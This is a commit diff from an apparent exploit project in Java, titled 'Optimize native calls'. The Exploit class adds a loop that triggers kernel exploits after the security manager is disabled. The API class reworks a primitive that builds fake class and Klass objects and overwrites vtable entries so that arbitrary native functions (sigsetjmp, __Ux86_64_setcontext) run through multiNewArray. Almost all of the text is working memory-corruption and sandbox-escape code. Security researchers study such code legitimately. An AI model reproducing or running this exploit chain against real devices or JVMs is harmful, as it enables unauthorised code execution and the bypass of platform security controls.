Optimize native calls.

This commit is contained in:
Andy Nguyen 2024-11-28 23:37:39 +01:00
parent 44713ef59f
commit be9a9319e6
2 changed files with 130 additions and 69 deletions

View File

@ -34,6 +34,22 @@ public class Exploit {
if (System.getSecurityManager() != null) {
Screen.println("[-] Error could not disable security manager.");
return;
}
Screen.println("[*] Exploiting kernel...");
Class[] kernelExploits = new Class[] {};
for (int i = 0; i < kernelExploits.length; i++) {
try {
ExploitKernelInterface exploit = (ExploitKernelInterface) kernelExploits[i].newInstance();
if (exploit.trigger()) {
break;
}
} catch (Exception e) {
continue;
}
}
}
}

View File

@ -27,7 +27,7 @@ public final class API {
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
"Java_java_lang_reflect_Array_multiNewArray";
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
private static final String SETJMP_SYMBOL = "setjmp";
private static final String SIGSETJMP_SYMBOL = "sigsetjmp";
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
private static final String ERROR_SYMBOL = "__error";
@ -45,6 +45,8 @@ public final class API {
private static API instance;
private static ThreadLocal callContexts = new ThreadLocal();
private UnsafeInterface unsafe;
private long longValueOffset;
@ -57,7 +59,7 @@ public final class API {
private long Java_java_lang_reflect_Array_multiNewArray;
private long JVM_NativePath;
private long setjmp;
private long sigsetjmp;
private long __Ux86_64_setcontext;
private long __error;
@ -157,9 +159,9 @@ public final class API {
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
}
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
if (setjmp == 0) {
throw new InternalError("setjmp not found");
sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL);
if (sigsetjmp == 0) {
throw new InternalError("sigsetjmp not found");
}
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
@ -275,82 +277,79 @@ public final class API {
}
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long fakeClassOop = malloc(Int64.SIZE);
long fakeClass = malloc(0x100);
long fakeKlass = malloc(0x200);
long fakeKlassVtable = malloc(0x400);
long ret = 0;
if (fakeClassOop == 0 || fakeClass == 0 || fakeKlass == 0 || fakeKlassVtable == 0) {
throw new OutOfMemoryError("malloc failed");
}
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
// This is used to "train" this function to kick in optimization early. Otherwise, it is
// possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext
// leading to different stack layouts of the two calls.
int iter = func == 0 ? 1 : 2;
try {
long ret = 0;
CallContext callContext = getCallContext();
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
// This is used to "train" this function to kick in optimization early. Otherwise, it is
// possible that optimization kicks in between the calls to setjmp and __Ux86_64_setcontext
// leading to different stack layouts of the two calls.
int iter = func == 0 ? 1 : 2;
if (jdk11) {
write32(callContext.fakeKlass + 0xC4, 0); // dimension
if (jdk11) {
write64(fakeClassOop + 0x00, fakeClass);
write64(fakeClass + 0x98, fakeKlass);
write32(fakeKlass + 0xC4, 0); // dimension
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
for (int i = 0; i < iter; i++) {
write64(fakeKlass + 0x00, fakeKlassVtable);
write64(fakeKlass + 0x00, fakeKlassVtable);
if (i == 0) {
write64(fakeKlassVtable + 0x158, setjmp); // multi_allocate
} else {
write64(fakeKlassVtable + 0x158, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
}
for (int i = 0; i < iter; i++) {
write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
if (i == 0) {
write64(callContext.fakeKlassVtable + 0x158, sigsetjmp + 0x23); // multi_allocate
} else {
write64(
callContext.fakeKlassVtable + 0x158, __Ux86_64_setcontext + 0x39); // multi_allocate
}
} else {
write64(fakeClassOop + 0x00, fakeClass);
write64(fakeClass + 0x68, fakeKlass);
write32(fakeKlass + 0xBC, 0); // dimension
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
for (int i = 0; i < iter; i++) {
write64(fakeKlass + 0x10, fakeKlassVtable);
write64(fakeKlass + 0x20, fakeKlassVtable);
if (i == 0) {
write64(fakeKlassVtable + 0x230, setjmp); // multi_allocate
} else {
write64(fakeKlassVtable + 0x230, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
}
if (i == 0) {
buildContext(
callContext.fakeKlass + 0x00,
callContext.fakeKlass + 0x00,
func,
arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
}
}
} else {
write32(callContext.fakeKlass + 0xBC, 0); // dimension
if (ret == 0) {
return 0;
for (int i = 0; i < iter; i++) {
write64(callContext.fakeKlass + 0x10, callContext.fakeKlassVtable);
write64(callContext.fakeKlass + 0x20, callContext.fakeKlassVtable);
if (i == 0) {
write64(callContext.fakeKlassVtable + 0x230, sigsetjmp + 0x23); // multi_allocate
} else {
write64(
callContext.fakeKlassVtable + 0x230, __Ux86_64_setcontext + 0x39); // multi_allocate
}
ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
callContext.fakeKlass + 0x20,
callContext.fakeKlass + 0x20,
func,
arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
}
}
return read64(ret);
} finally {
free(fakeKlassVtable);
free(fakeKlass);
free(fakeClass);
free(fakeClassOop);
}
if (ret == 0) {
return 0;
}
return read64(ret);
}
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
@ -586,4 +585,50 @@ public final class API {
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
return bytes;
}
private CallContext getCallContext() {
CallContext callContext = (CallContext) callContexts.get();
if (callContext != null) {
return callContext;
}
callContext = new CallContext();
callContexts.set(callContext);
return callContext;
}
class CallContext {
long fakeClassOop;
long fakeClass;
long fakeKlass;
long fakeKlassVtable;
private long callBuffer;
CallContext() {
callBuffer = malloc(Int64.SIZE + 0x100 + 0x200 + 0x400);
if (callBuffer == 0) {
throw new OutOfMemoryError("malloc failed");
}
fakeClassOop = callBuffer;
fakeClass = fakeClassOop + Int64.SIZE;
fakeKlass = fakeClass + 0x100;
fakeKlassVtable = fakeKlass + 0x200;
if (jdk11) {
write64(fakeClassOop + 0x00, fakeClass);
write64(fakeClass + 0x98, fakeKlass);
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
} else {
write64(fakeClassOop + 0x00, fakeClass);
write64(fakeClass + 0x68, fakeKlass);
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
}
}
protected void finalize() {
free(callBuffer);
}
}
}